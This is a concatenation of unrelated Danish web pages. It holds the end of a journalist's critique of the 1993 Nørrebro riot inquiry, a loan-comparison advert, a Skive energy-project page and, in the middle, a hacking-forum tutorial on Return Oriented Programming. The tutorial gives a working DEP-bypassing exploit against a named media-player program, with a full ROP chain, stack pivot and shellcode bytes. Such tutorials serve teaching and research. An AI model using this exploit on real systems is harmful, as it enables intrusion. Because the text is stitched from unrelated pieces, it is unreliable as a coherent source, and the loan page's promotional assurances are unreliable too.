alligevel på flere punkter er mere præcis end den redegørelse, Rigsadvokaten afleverer et år senere.\nDet har, som det hedder blandt jurister, formodningen for sig, at resumérapporten ville have været endnu mere præcis, hvis samtlige implicerede politifolk var blevet afhørt af rejseholdet i sommeren 1993 i stedet for, at man havde nøjedes med Københavns Politis 27 afhøringsrapporter, der handler om strafferetssager mod aktivister, skader på politifolk, hærværk og meget andet end temaet - hvad skete der på Nørrebro den nat? Rigsadvokaten bruger herefter tre måneder på at stille nogle spørgsmål, som politidirektøren er et halvt år om at svare på - uden at der i øvrigt sker meget andet end at det allerede eksisterende materiale sammenskrives til noget endnu mere intetsigende.\nHvorpå Rigsadvokaten bruger tre måneder på at indhente forklaringer om, hvordan betjente kom til skade samt skrive sin rapport.\nDet hører med i billedet , at der på intet tidspunkt rykkes efter redegørelsen - tidsforbruget forekommer åbenlyst ikke justitsministeriet ubehageligt uanset, at der stadig kører en debat om sagen.\nDet kunne ligne en spekulation i at fjerne redegørelsen så langt fra begivenheden som muligt og derved skabe de bedste betingelser for en accept af undersøgelsesresultatet. Hastværk er muligvis lastværk. Til gengæld fremmer forsinkelsen fortrængningen af virkeligheden.\nDa det kommer frem, at der råbes "skyd efter benene" på en optagelse af en skudafgivelse, foreslår Rigsadvokaten, at han også undersøger det, uanset at han samtidig forklarer, at det ikke ændrer noget i hans vurderinger. Og på det licitationsbud vinder Asbjørn Jensen entreprisen.\nResultatet er den opsigtsvækkende teori om, at der på Nørrebro optrådte håndboldspillende aktivister, der medførte deres interne jargon fra håndboldbanen.\nAt rigspolitiets efterforskere arbejdede med en klar mistanke til en kollega fra Uropatruljen, forholdt undersøgeren os viden om.\nMen det ville jo også have stridt mod formodningen om, at råbet ikke havde betydning for konklusionerne.\nIkke mindst konklusionerne omkring uropatruljens og andre civilklædte politienheders betydning for forløbet.\nBåde vidneforklaringer og videooptagelser viser, at de civilklædte enheders indsats var en væsentlig forudsætning for forløbet. Det er civilbetjente fra Station 1, der fremprovokerer den afgørende konfrontation mellem stenkastere og politi. Og det er misvisende i-knibe-meldinger fra uropatruljen, der tvinger en politileder til at sende styrkerne frem på et tidspunkt, hvor de ikke er i stand til at klare situationen.\nRigsadvokaten behandler disse elementer, men han trækker dem ud af hovedkonklusionerne - man kan sige, at han inaktiverer dem i forhold til spørgsmålet: Gjorde Københavns Politi fatale fejltagelser?\nOg dermed inaktiverer han dem også i forhold til en anden debat, der har løbet i Eefsens periode som politidirektør i København - debatten om de civilklædte enheder blot er en mere usynlig form for politiaktivitet, eller om det er en næsten autonom subkultur, der fører sin - og politidirektørens - kamp mod den venstreorienterede aktivistbevægelse i København.\nVideooptagelserne dokumenterer tilfulde de metoder, de civilklædte bruger mod anholdte - de slæbes med hovedet nedad gennem sten, flere betjente sætter sig på dem, og pressefotografers optagelser af anholdelserne søges forhindret ved fysisk blokade eller ulovlige ordrer.\nDer var rigeligt at undersøge og tage med i en vurdering af, om politiets indsatsform i sig selv forværrede konfrontationen. Men det skete ikke.\nIkke mindst derfor er Nørrebroundersøgelsen et problematisk element i dansk politisk historie.\nFor mig er Nørrebrosagen blevet til et skræmmeeksempel på, hvor galt det kan gå, når myndighedssystemer får kontrol med, hvordan deres egen indsats kontrolleres.\nDerfor må håbet på seks-årsdagen være, at kravene til standarden af uafhængighed og uvildighed aldrig mere synker så lavt, som de gjorde i maj 1993.\n*DR-journalist Lars Rugaard har modtaget fire priser for sin dækning af Nørrebro-sagen, deriblandt Dansk Journalistforbunds Cavling-pris.\n*18.-19. maj 1993: Voldsomme sammenstød på Nørrebro efter EU-afstemning. 11 aktivister blev såret af skud. 26 betjente måtte hospitalsbehandles.\n*25. maj 1993: Justitsminister Erling Olsen (S) beder rigsadvokat Asbjørn Jensen lave en undersøgelse af forløbet.\n*29. august 1994: Asbjørn Jensen afleverer sin redegørelse til justitsministeren. Foreslår efterforskning mhp. evt. tiltale mod en eller flere betjente bl.a. for overskridelse af grænserne for nødværge i forbindelse med skudafgivelse.\n*3. september 1994: DR-programmet Refleks afslører råbet "skyd efter benene." Justitsministeren beder Asbjørn Jensen om en ny undersøgelse.\n*27. september 1994: Erling Olsen afløses som justitsminister af Bjørn Westh (S).\n*30. maj 1995: Asbjørn Jensen afleverer redegørelse nummer to: Det er overvejende sandsynligt, at råbene "skyd efter benene" er råbt af aktivister.\n*10. juni 1995: Forhenværende justitsminister Erling Olsen beskylder i Politiken Asbjørn Jensens redegørelser for ikke at være uvildige, idet Københavns Politi har undersøgt sig selv.\n*27. juni 1995: Ombudsmand Hans Gammeltoft-Hansen går ind i sagen.\n*18. november 1995: Ombudsmanden afleverer sin rapport, der kritiserer Asbjørn Jensens redegørelser.\n*14. maj 1996: Folketinget vedtager lov om ny undersøgelse.\n*3. september 1996: Bjørn Westh udpeger advokat Henrik Christrup, advokat Gunnar Homann og professor Claus Haagen Jensen til at udføre den ny undersøgelse, der især skal fokusere på, hvorfor Københavns Politi fik lov til at afhøre sig selv.\n*30. december 1996: Bjørn Westh afløses som justitsminister af Frank Jensen (S).\nAsbjørn JensenBjørn WesthErling OlsenFrank JensenPoul Eefsen\nDansk JournalistforbundFolketingetJustitsministerietKøbenhavns PolitiOmbudsmandenPolitietPolitikenRejseholdetRigspolitiet


Shellsec / Hacking / Reverse Engineering / Vejledninger / Return Oriented Programming 101\n17-02-2014, 00:32 (Denne besked var sidst ændret: 17-02-2014, 17:47 af BlimBlamBlar.)\nJeg håber, at I fik noget ud af min sidste vejledning i SEH overflows: http://www.shellsec.pw/showthread.php?tid=1277\nAt kende til SEH overflows er et krav for at kunne følge med i denne vejledning.\nReturn Oriented Programming (ROP) er en halvgammel teknik, som bruges, til at omgå en hardware implementeret forhindring på vejen til at få kode eksekveret hos sit offer. Man har siden tidernes morgen kunnet sætte forskellige beskyttelses flag på hukommelsen, så læsning og/eller skrivning ville fejle. På den måde kunne man markere, at kode ikke skulle kunne skrives til, at ikke allokeret hukommelse hverken skulle kunne læses eller skrives og at man ikke skulle kunne modificere data markeret med 'const'.\nMen som noget relativt nyt kan man nu også markere om hukommelsen må eksekveres. Det giver nok aldrig mening, at data på stakken skal kunne eksekveres, og kun sjældent, at heapen skal kunne eksekveres, så dette flag er tilføjet, og det kaldes typisk Data Execution Prevention (DEP) eller W^X (som i Writable XOR Executable, altså modificerbar eller eksekverbar men aldrig begge). Det betyder, at et exploit ikke længere kan lægge shellcode på stakken og hoppe dertil. Game over!\nOk, ikke helt. Det er blevet vanskeligere at udnytte fejl og opnå kodeeksekvering, men der er en måde at omgå DEP, og dét er ROP.\nProgrammer (og shellcode) består af sekvenser af simple instruktioner, og programmer indeholder mange af disse instruktioner og de ligger i eksekverbar hukommelse. Hvis vi på én eller anden måde kan kæde disse eksisterende instruktioner sammen, kan vi måske opnå vores mål, og det viser sig, at det kan vi. Hvis vi kontrollerer stakken!\nForestil dig, at vi vil have værdien '0xdeadbeef' ind i 'EDI' registret og værdien '5' ind i 'EAX' og vi kontrollerer 'EIP'. Hvis vi kan finde sekvenser af instruktioner, som alle ender med 'RET', så har vi noget at arbejde med. Hvis vi f.eks. har følgende:\n0x1006802e : # POP EDI # RETN\n0x10088047 : # XOR EAX,EAX # POP ESI # RETN\n0x1004c0e1 : # INC EAX # RETN\nMed andre ord, på adressen '0x1006802e' har vi 'POP EDI' som umiddelbart efterfølges af 'RETN'. På '0x10088047' har vi 'XOR EAX, EAX', som efterfølges af 'POP ESI', som efterfølges af 'RETN', og på '0x1004c0e1' har vi 'INC EAX' efterfulgt af 'RETN'.\nHvis vi så putter følgende på stakken:\n...og overskriver 'EIP' med '0x1006802e' så ender vi med at udføre følgende:\n0x1006802e POP EDI #Nu bliver 0xdeadbeef fjernet fra stakken\n#og lagt i EDI...første mål er opnået\n0x1006802f RET #Her returnerer vi til 0x10088047\n0x10088047 XOR EAX, EAX #Nulstil EAX registret\n0x10088049 POP ESI #POP 0x41414141 af stakken og ind i ESI\n#Dette var ikke en del af planen, men intet problem\n0x1008804a RET #Returner til 0x1004c0e1\n0x1004c0e1 INC EAX #Læg én til EAX som nu har værdien 1\n0x1004c0e2 RET #Returner til 0x1004c0e1\n0x1004c0e1 INC EAX #Læg én til EAX som nu har værdien 2\n0x1004c0e1 INC EAX #Læg én til EAX som nu har værdien 3\n0x1004c0e1 INC EAX #Læg én til EAX som nu har værdien 4\n0x1004c0e1 INC EAX #Læg én til EAX som nu har værdien 5\n0x1004c0e2 RET #Returner til 0x41414141\nVi er nu igennem kæden og har opnået målet...og crashet processen fordi vi returnerede til '0x41414141', men vi kunne nok have fundet på noget andet at afslutte med.\nEn sekvens af instruktioner som ender med 'RET' ('CALL' og 'JMPn' kan også bruges men er lidt besværligere) kaldes for en ROP gadget eller bare gadget. En sekvens af gadgets, som udfører en handling (såsom at skrive en arbitrær værdi til en arbitrær adresse) kaldes for en ROP chain. Man kan også bygge større chains af små chains, som f.eks. at opnå en shell.\nOfte vil en gadget ikke kun gøre den ene ting, som vi er interesseret i. I eksemplet ovenfor havde vi f.eks. 'XOR EAX, EAX # POP ESI # RETN', som udover at nulstille 'EAX' også poppede ind i 'ESI'. Dette kaldes en side effekt, og kan være ret generende, men i eksemplet var det ikke et problem, vi skal bare håndtere det. Men hvis vi nu havde noget interessant i 'ESI' registret, så blev det mere besværligt, og nogen gange bliver det grimt og der bliver skrevet til hukommelse som et register peger på. Så er vi nødt til at have en skrivbar adresse i det pågældende register. Det kræver bare lidt opfindsomhed og de rigtige gadgets.\nEt andet problem er, at på det tidspunkt, hvor vi styrer 'EIP', så peger stakken typisk ikke på data, som vi kontrollerer, så det første, vi er nødt til at gøre, er at ændre på dette. Det kaldes stak pivottering (stack pivoting), og vi får kun ét forsøg. Måske kan vi finde en gadget ala 'ADD ESP, 0x64 # RETN' som flytter stak registret 100 bytes og derefter returnerer. Så ender stak registret måske 76 bytes inde i vores payload, og så er det dér, vores ROP chain skal begynde.\nMen hvad skal vores kæde så gøre? Starte 'calc.exe'?\nMåske, men hvad så hvis vi pludselig vil noget andet. ROP programmering er besværligt og tidskrævende, så måske er der en bedre idé.\nMange targets (i hvert fald dem, som vi skal lege med) har muligheden for at ændre på protection bits. På Windows har vi 'VirtualProtect()' og på Linux har vi 'mprotect()' som gør dette. Alternativt er der på Windows 'VirtualAlloc()' og på Linux 'mmap()' som kan allokere hukommelse med en bestemt konfiguration. På Windows er der endda af og til funktioner til helt at slå DEP fra, men det er ikke altid tilfældet.\nSå hvad vi kan gøre, er at smide en almindelig shellcode et sted i hukommelsen, slå execution til for den pågældende hukommelse og springe dertil. Eller vi kan allokere ny eksekverbar og skrivbar hukommelse, kopiere shellcoden dertil og springe. Vi vil prøve det første, og til det skal vi bruge et sårbart program.\nHent og installer følgende: http://www.exploit-db.com/wp-content/the...dr2007.exe\nPrøv først at skrive et ikke-ROP baseret exploit til det, følgende vil lave en playliste, som får programmet til at gå ned:\n$ pattern_create.rb 4000 > playlist.pls\nFik du et exploit til at fungere? Fantastisk!\nSlå så DEP til. I Windows XP højreklikker du på "My computer" og vælger "Properties". Vælg så "Advanced" og klik på "Settings" knappen i "Performance" området. Vælg så "Data Execution Prevention" og sæt flueben i "Turn on DEP for all programs and services except those I select". Tryk "OK" og genstart.\nPrøv så dit exploit igen. Nederen! Prøv også playlisten, som crashede programmet, og sæt Immunity på. Du får ikke engang lov til at håndtere en exception. Slå DEP fra igen (samme som tidligere men bare tilføj programmet til listen som DEP skal være slået fra). Prøv så den crashende playliste igen fra Immunity. Det burde se således ud:\nVi skal bruge tre ting fra ovenstående screenshot. Index ind i strengen hvor vi kontrollerer 'EIP' (denne ved du hvordan vi får), nuværende stak position og adressen, hvor vores payload kan findes.\n'pattern_offset.rb' fortæller os at 'EIP' er overskrevet af de fire bytes som ligger 1112 bytes inde i vores payload. Det fandt du sikkert ud af, hvis du lavede et exploit.\nJeg fandt vores payload på adressen '0x0013f0a0' og 'ESP' peger på '0x0013e93c'. Simpel aritmetik fortæller mig, at de to adresser ligger 1892 fra hinanden, så vi skal finde en gadget, som lægger mindst 1892 til 'ESP' og derefter returnerer. Og selvfølgelig har vores bedste ven Peter Van Eeckhoutte gjort et fantastisk job.\nKør følgende kommando i Immunity:\n!mona rop -o -cbp '\_x0a\_x3d'\nDette kan tage lidt tid, så tag en kop kaffe.\nOutput fra alle 'mona.py' kommandoer skrives til filer i Immunitys bibliotek og ROP output fylder for meget til at det giver mening at skrive noget til log vinduet så tag et kig i Immunity biblioteket. Der er kommet fire nye filer:\n'stackpivot.txt' - Gadgets til at udføre stak pivottering\n'rop.txt' - Alle fundne gadgets sorteret efter adresse\n'rop_suggestions.txt' - Alle fundne gadgets grupperet efter hvad de gør\n'rop_chains.txt' - Automatisk byggede ROP chains. Meget brugbar!\nVi skal starte med at pivottere stakken, så kig i 'stackpivot.txt' og find den, som hopper mindst muligt over 1892. Den på adressen '0x1001b645' lægger 2052 til 'ESP' og det er 160 for meget, så vores ROP chain skal starte 160 bytes inde i vores payload. Husk at 'EIP' blev overskrevet 1112 bytes inde i payload, så det giver os 952 bytes til ROP chain og shellcode. Det burde være nok, ellers kan vi have det hele efter 'EIP' overskrivningen, eller gøre det hele lidt mere manuelt.\nLad os starte med vores sploit:\nstack_pivot = '\_x45\_xb6\_x01\_x10'  #ADD ESP, 0x804 #RETN\nseh_offset = 1112\nrop_offset = 160\npayload += 'A' * rop_offset\npayload += create_rop_chain()\npayload += 'B' * (seh_offset - len(payload))\npayload += stack_pivot\npayload += 'C' * (4000 - len(payload))\nGenerer en playliste og sæt et breakpoint på '0x1001b645'. Du burde nå den, når du har sendt den fangede exception videre. Step over 'ADD ESP, 804' instruktionen og tag et kig i stak vinduet. Den kommende 'RETN' instruktion vil sende os til '0xdeadbeef'. Med andre ord har vi nu ramt vores ROP chain.\nDet er tid til en lille detour for at forstå, hvad vores ROP chain skal gøre. Tid til lidt kedelig teori. Vi skal have udført et kald til 'VirtualProtect()' men vi gør det ved at returnere til første instruktion i funktionen. Den kan på ingen måde vide, om det er et reelt funktionskald eller ej, men den forventer, at argumenterne ligger på stakken, og at retur adressen ligger øverst.\nVirtualProtect tager følgende argumenter:\nlpAddress - Startadressen som skal have ændret protection flag\ndwSize - Størrelsen af området i bytes\nflNewProtection - Nye flag (0x40 vil gøre det eksekverbar, læsbar og skrivbar)\nlpflOldProtect - Adresse hvor de eksisterende flag vil blive skrevet\nDisse fire skal ligge på stakken. Men vi skal også have adressen på shellcoden øverst, så VirtualProtect kan returnere dertil...og siden vi bruger ROP, så har vi tænkt os at returnere ind i VirtualProtect, så dens adresse skal ligge allerøverst. Med andre ord skal vi have stakken til at se således ud lige inden vi returnerer:\nVi er så nødt til at finde adressen på VirtualProtect, og takket være ASLR og forskellige Windows versioner, så kender vi den ikke. Men mange programmer bruger den, og derfor er den ofte at finde i programmets Import Address Table (IAT), som ligger på en statisk adresse medmindre programmet selv er position independent.\nVi skal også finde adressen på shellcoden, men da den er på stakken, burde det ikke være et problem at beregne.\nAlt dette er kompliceret, men heldigvis har 'mona.py' gjort ALT ARBEJDET FOR OS!! Eller i hvert fald det meste, der er lidt problemer, men lad os bare starte med, hvad mona har givet os, den forventer at shellcoden følger umiddelbart efter ROP kæden.\n# Shellcode generated with\n# msfvenom -p windows/exec -b '\_x3d\_x0a' -f python CMD=calc EXITFUNC=thread\nshellcode += "\_xba\_x65\_x01\_x25\_x45\_xd9\_xc9\_xd9\_x74\_x24\_xf4\_x58\_x33"\nshellcode += "\_xc9\_xb1\_x32\_x31\_x50\_x12\_x03\_x50\_x12\_x83\_x8d\_xfd\_xc7"\nshellcode += "\_xb0\_xb1\_x16\_x8e\_x3b\_x49\_xe7\_xf1\_xb2\_xac\_xd6\_x23\_xa0"\nshellcode += "\_xa5\_x4b\_xf4\_xa2\_xeb\_x67\_x7f\_xe6\_x1f\_xf3\_x0d\_x2f\_x10"\nshellcode += "\_xb4\_xb8\_x09\_x1f\_x45\_x0d\_x96\_xf3\_x85\_x0f\_x6a\_x09\_xda"\nshellcode += "\_xef\_x53\_xc2\_x2f\_xf1\_x94\_x3e\_xdf\_xa3\_x4d\_x35\_x72\_x54"\nshellcode += "\_xf9\_x0b\_x4f\_x55\_x2d\_x00\_xef\_x2d\_x48\_xd6\_x84\_x87\_x53"\nshellcode += "\_x06\_x34\_x93\_x1c\_xbe\_x3e\_xfb\_xbc\_xbf\_x93\_x1f\_x80\_xf6"\nshellcode += "\_x98\_xd4\_x72\_x09\_x49\_x25\_x7a\_x38\_xb5\_xea\_x45\_xf5\_x38"\nshellcode += "\_xf2\_x82\_x31\_xa3\_x81\_xf8\_x42\_x5e\_x92\_x3a\_x39\_x84\_x17"\nshellcode += "\_xdf\_x99\_x4f\_x8f\_x3b\_x18\_x83\_x56\_xcf\_x16\_x68\_x1c\_x97"\nshellcode += "\_x3a\_x6f\_xf1\_xa3\_x46\_xe4\_xf4\_x63\_xcf\_xbe\_xd2\_xa7\_x94"\nshellcode += "\_x65\_x7a\_xf1\_x70\_xcb\_x83\_xe1\_xdc\_xb4\_x21\_x69\_xce\_xa1"\nshellcode += "\_x50\_x30\_x84\_x34\_xd0\_x4e\_xe1\_x37\_xea\_x50\_x41\_x50\_xdb"\nshellcode += "\_xdb\_x0e\_x27\_xe4\_x09\_x6b\_xc7\_x06\_x98\_x81\_x60\_x9f\_x49"\nshellcode += "\_x28\_xed\_x20\_xa4\_x6e\_x08\_xa3\_x4d\_x0e\_xef\_xbb\_x27\_x0b"\nshellcode += "\_xab\_x7b\_xdb\_x61\_xa4\_xe9\_xdb\_xd6\_xc5\_x3b\_xb8\_xb9\_x55"\nshellcode += "\_xa7\_x3f"\n0x1007f888,  # POP EDX # RETN [audconv.dll]\n0x100920f4,  # ptr to &VirtualProtect() [IAT audconv.dll]\n0x1003bd8b,  # MOV EAX,DWORD PTR DS:[EDX] # RETN [audconv.dll]\n0x10035802,  # XCHG EAX,ESI # RETN [audconv.dll]\n0x10080110,  # POP EBP # RETN [audconv.dll]\n0x1001db3c,  # & push esp # ret 0x04 [audconv.dll]\n0x1005efba,  # POP EBX # RETN [audconv.dll]\n0x10087757,  # POP EDX # RETN [audconv.dll]\n0x10002212,  # POP ECX # RETN [audconv.dll]\n0x004365ef,  # &Writable location [easycdda.exe]\n0x1006d7b2,  # POP EDI # RETN [audconv.dll]\n0x100378e6,  # RETN (ROP NOP) [audconv.dll]\n0x0042527d,  # POP EAX # RETN [easycdda.exe]\n0x00429692,  # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe]\nDin ROP kæde er muligvis anderledes...mona kan godt finde på at skifte mening engang imellem.\nSæt breakpoint som før og følg med i kæden, efterhånden som den eksekverer. Når du når første instruktion i VirtualProtect ser Immunity ca. sådan her ud:\nHvis du kigger i stakken, ser du argumenterne til VirtualProtect og retur adressen. Den er ikke den samme som adressen på shellkoden, som jeg sagde, at det burde være. Det gør ikke noget, for jeg har fundet frem til instruktionerne, som der returneres til, og det er 'PUSH ESP # RETN 4', altså et spring til stakken, så vi opnår det samme.\nFortsæt eksekveringen (<f9>) så shellkoden eksekveres. Crash!\n'RETN 4' lægger fire til stakken EFTER at vi har returneret og eftersom vores shellcode skriver til stakken, så overskriver den sig selv...det er ikke godt, men hvis vi lægger et par instruktioner i starten, som trækker lidt fra stakken så burde det fungere igen. 'EBP' bruges ofte også, så den modificerer vi også.\npayload += '\_x83\_xec\_x08'   # sub esp, 8\npayload += '\_x89\_xe5'       # mov ebp, esp\npayload += '\_x00' * (4000 - len(payload))\nNu burde 'calc.exe' starte. Yay!\nMen noget går stadig galt. Luk Immunity og kør programmet uden. Så får vi følgende:\nSå data eksekvering er blevet detekteret. Øv.\nDet har så intet med hverken vores ROP kæde eller vores shellcode at gøre, for det kørte upåklageligt, men vi har baldret stakken og noget nedlukningskode skrev til en adresse, som vi har pillet ved. At debugge på dette vil ikke blive forklaret her, da det ikke har med ROP at gøre, men skulle vi skrive et rigtigt stealth exploit, så var det selvfølgelig noget, vi skulle have styr på.\nDenne sårbarhed var latterligt let at exploite af flere grunde:\nMeget få bad chars...ikke engang nul bytes var ulovlige\nBåde exe filen og dens dll var compilet uden ASLR så der var masser af gadgets\nmona.py kunne lave en fuld ROP kæde\nSå heldige er vi ikke altid så jeg vil foreslå, at du prøver at lave et par ROP baserede exploits og endda prøver at lave kæden manuelt. Læs evt. Peter Van Eeckhouttes tutorial også.\nTil Linux kan du bruge dette program: https://github.com/JonathanSalwan/ROPgadget\nRE: Return Oriented Programming 101\nHold da op en guide! Giver et 12 tal (Y) KOmmer ind på meget! igen igen en super guide fra dig ;)\nTanks...var det til at finde ud af?\nJeg ROPede Millenium MP3 Studio manuelt, så prøv den. Den blev beskrevet i corelans tutorial om SEH: https://www.corelan.be/index.php/2009/07...e-part-3b/


Lånemuligheder | Bedste nye lånemuligheder 2019 | Nye sms lån\nDu er her: Start / Lån / Nye lånemuligheder 2019\n🏦 Oversigt over lånemuligheder 🏦\n🌞 Nye lån på vej\n🏡 Nye sms lån 2019\n⏳ Nye lån online – fordele\n🚗 Nye billån 2019\n🏠 Nye samlelån 2019\nHer på siden lister vi løbende nye lånemuligheder. Det vil sige, at lige så snart der er nye lån på vej, så sørger vi for hurtigst muligt at få dem på listen, så du får den bedste mulighed for at finde de nyeste lån. Dette gjorde vi i 2018, og det vil vi selvfølgelig forsætte med at gøre i 2019. Det vil sige, at lige meget om du er på jagt efter nye sms lån eller du gerne vil have et hurtigt nyt forbrugslån, så finder du helt sikkert et lån i listen som er nyt for dig.\nSelvom lånemuligheder ikke er nye, og du har hørt om dem før, så kan de stadig være rigtig gode muligheder. Det vil sige, at det altid er en god ide at teste de nyeste lånemuligheder op mod nogle af de gamle kendinge. Nye lån kan være med til at presse markedet til bedre vilkår, men det er ikke altid de billigste bare fordi det er de nyeste. Derfor opfordre vi vores brugere til altid at forsøge at ansøge om lån mere end et sted. På denne måde minimere du risikoen for at stå med et dårligt lån til sidst. Flere ansøgninger tager ikke særlig lang tid, og det gør at du nemt kan se hvilke steder du bliver godkendt, og derefter sammenligne dem med hinanden. Det er uforpligtende at ansøge om at låne, og du binder dig ikke til noget lån før du underskriver, så du kan i teorien ansøge om lige så mange forskellige lån, som du ønsker.\nI løbet af 2018 så vi mange nye spændende lånemuligheder. Alt tyder på at der vil komme lige så mange interessante nye muligheder i løbet af 2019. Om disse er de rette steder for dig at låne, af denne grund, det kommer selvsagt an på mange forskellige faktorer, og det er derfor altid vigtigt at du har en form for kritisk sans, når du ansøger hos nye långivere. Som udgangspunkt er det dog altid sikkert at låne penge i Danmark. Det eneste du først og fremmest skal huske på, det er sammenholde flere forskellige muligheder overfor hinanden, og ikke mindst overfor din privatøkonomi, så du kan finde ud af hvordan du ender med billigst mulige forbrugslån. Der kan nemlig være stor forskel i pris på lån, det skal der ikke være nogen tvivl om. At vælge det rigtige forbrugslån, kan ofte spare dig for mange tusinde kroner. Det er selvfølgelig værd at tage med i sine beslutninger.\nDer er flere fordele ved at låne online. Når vi snakker om lån online, så vil det i høj grad være forbrugslån uden sikkerhed. Det vil sige, det er lån hvor du kan bruge de penge du får ind på din konto lige præcis på den måde som passer dig allerbedst. Der er ingen bankmand der fortæller at du skal bruge dem på hus eller bil eller noget helt tredje, som du stiller sikkerhed. En anden fordel, som den nye generation efterhånden ser som normen er at du kan ansøge om at låne penge døgnet rundt, når du ansøger online. Du kan ansøge om at låne via din smartphone, hvilket rigtig mange gør, du kan gøre det via din table eller du kan gøre det via din computer. Det er nemt lige meget om du vælger at ansøge om at låne penge via det ene device eller det andet device. Nogle steder får du strakssvar på om du er godkendt til lånet. Andre steder får du svar lige så snart medarbejdere møder på arbejdet dagen efter. Lige meget hvad, så kommer vi til tredje punkt, nemlig at det generelt er både hurtigt og nemt at låne penge online.\nEn stor del af processen er blevet automatiseret fra låneudbydernes side, og de lånemuligheder som de tilbyder, er derfor også noget de kan give svar på næsten inden for samme sekund som du har trykket send på din ansøgning. Du behøver derfor ikke sidde i dagevis, for at finde ud af om du er blevet godkendt til at låne penge eller ej.\nEr du på udkig efter billån. Vi har først og fremmest fokus på lån uden sikkerhed. Der er dog her på siden også listet en del ganske gode steder at finansiere køb af bil. Dette drejer sig blandt andet om Bank Norwegian og Santander. Vi kigger løbende på om andre lånemuligheder skal tilføjes til vores liste, så du kan finde endnu flere nye billån i løbet af 2019.\nSamling af al din gæld under et tag, så at sige, kan være en rigtig god finansiel beslutning. Ved at samle lån i et, så kan det for mange blive muligt at spare flere tusinde hvert eneste år.Det kræver mindre end mange lige går og tror, og gå i gang med at finde lånemuligheder, hvor du kan samle din gæld under et fælles lån. De nye samlelån som du kan finde i 2019, vil i høj grad have de samme fordele som dem du tidligere har kunnet finde. En af disse fordele er mere klarhed over hvor dine penge forsvinder hen. Med mange forskellige lån og kreditorer, kan det være svært at bevarer det nødvendige overblik i ens privatøkonomi. Når du får samlet flere under et tag, så bliver det meget nemmere at budgettere hvad du skal bruge fremadrettet. Det bedste ved det hele er dog at det er muligt at spare ganske betragtlige beløb ved at finde et større billigere lån. Mange gange kan du på større lån få billigere renter, end hvad der er muligt, når vi snakker om små kviklån og lignende. Vi kan derfor godt råde dig til at komme i gang med det samme.\nTag eksempelvis et kig på lån 75000 kr, hvis du ønsker at samle gæld for et sådanne beløb.\nhttps://sammenlign.nu/wp-content/uploads/2019/01/logo.jpg 0 0 superadmin https://sammenlign.nu/wp-content/uploads/2019/01/logo.jpg superadmin2019-01-23 15:00:032019-03-29 14:00:43Nye lånemuligheder 2019\nFind det rigtige abonnement til din vinterferie i 2019 Sms lån – udbetaling med det samme


sunthermfremtidens energiløsningergrøn energi\nOpstartsvirksomheden har fået arbejdsro efter nogle hektiske måneder med masser af succeser, der har sikret et godt økonomisk fundament. Virksomheden udvikler et innovativt varmesystem der giver markante besparelser på varmeudgiften når det er klar til forbrugerne.\nBriefingGrøn omstillingFremtidens muligheder\nDEIF A/S var den 17. februar vært ved EiV´s Briefing med bestyrelsesformand for Clean og tidligere direktør i DONG, Anders Eldrup, som oplægholder. Og mange kom for at høre, hvad en kapacitet som Anders Eldrup kunne sige om fremtiden og især fortælle om de mange nye muligheder, der ligger i grøn omstilling.\nBriefing: Flyt dig - Eller fremtiden kommer efter dig!\nDet var for fulde sale, at FP Alu-Glas i Skive den 19. marts var vært for EiV's briefing, hvor fremtidsforsker Anne Skare Nielsen fortalte om fremtidens trends set 10 år frem i krystalkuglen. Og i fremtiden handler det ikke kun om vækst og profit, men også om at gå "fra mere til bedre".\nEnergi- effektiviseringRessource- økonomiGrøn ledelse\nBriefing: Ny Global Konkurrence\nKig på vinderne inden for dansk erhvervsliv og afkod dem. Så er din virksomhed kommet et skridt nærmere vækst og overlevelse. Sådan lød et af budskaberne, da Bjarke Møller, direktør for Tænketanken Europa var oplægsholder på Energi i Vækstens briefing, der blev afviklet hos Dantherm Air Handling i Skive den 22. april. Fremmødet var stort ligesom spørgelysten.\nGenanvendelse af materialeCirkulær økonomiGenbrugs-netværk\nCase: close the loop i skive\nEnergi i Væksten har særlig fokus på materiale-genbrug, cirkulær økonomi og grøn vækst. På en workshop den 7. og 8. maj blev der arbejdet intenst med at lukke hullerne i materialeflowet. Affald fra 15 lokale virksomheder og Nomi4S var i hænderne på 18 arkitekter, designere og håndværkere med stor succes.\nCase: en Designer med genbrug i sit dna\nTeknisk designer og iværksætter fra Roslev, Lene Olsen, har altid haft genbrugs-tanken og bæredygtig produktion indbygget i sit dna.\nHun var del af den grønne byggeworkshop der arbejder på at finde nye måder at skabe bæredygtighed gennem genbrug af materialer i stor skala.\nBæredygtig formgivningGenbrugcirkulær økonomi\nCase: Formgiver arbejder med genbrugs-materialer\nGenbrug af materialer er et tankesæt, som designer og formgiver i møbler og rum, Søren Vester, i mange år har arbejdet med i sit firma MOUHO aps i Thise. Søren Vester har deltaget ved stort set alle Energi i Vækstens briefinger - og han ser frem til at området rykker med genanvendelse i det helt høje gear.\n"Det farligste for en virksomhed er, at det går godt. For så er der en fare for, at man hviler i sig selv istedet for hele tiden at skabe nyt og se fremad."\nMads Thimmer, Co-Founder/Ceo Innovation Lab\nEnergiprojekterne og initiativerne i Skive\nHovedambitionen for Energi i Væksten er at skabe erhvervsvækst ud fra de igangværende energiprojekter og initiativer.\nProjekterne og initiativerne er: Forgasning, Biogas og herunder GreenLab Skive, Innovation Fur, Grøn omstilling/Cirkulær økonomi, Energieffektivisering, Energirenovering samt Geotermi.\nHer kan du læse mere om de projekter, som Energi i Væksten har samarbejdet med.\nHvordan det er gået tidligere\nCase: Lene Olsen er Teknisk Designer med genbrug i sit dna\n"VED AT ANLÆGGE ET BIOGASANLÆG KAN VI NU ØGE VORES INDTÆGTER OG SAMTIDIG VIDE, HVAD VI KAN REGNE MED AF INDTÆGTER I FREMTIDEN. Derudover skaber vi grønne og bæredygtige landbrug i vores område"\nBoe Madsen, medindehaver af Madsen Biogas A/S\nEnergi i Væksten: Hvem er vi\nEnergi i Væksten, EiV, er et tre-årigt projekt under SET. EiV hjælper med at skabe vækst i lokale virksomheder, der arbejder indenfor energiområdet.\nVores to konsulenter Thea Lyng Thomsen og Anne Ginnerup, hjælper lokale virksomheder med at komme tættere på mål.\nOg de har mange værktøjer i redskabskassen. Det kan blandt andet være hjælp til at skaffe kapital, funding, kontakt til samarbejdspartnere og andre projekter mv.\nHos os møder virksomhederne konsulenter, der effektivt kan facilitere udvikling og udførsel af indsatser, løfte en idé eller få sat skub i produktionen.\nVores konsulenter har et stort overblik over de samlede lokale tiltag på energiområdet og kan derved hurtigt se de udfordringer eller de muligheder, der skal til for at få et projekt sikkert i havn.\nHvem kan få støtte fra Energi i Væksten\nAlle lokale virksomheder i Skive, der har aktiviteter og interesser inden for energiområderne: Biogas 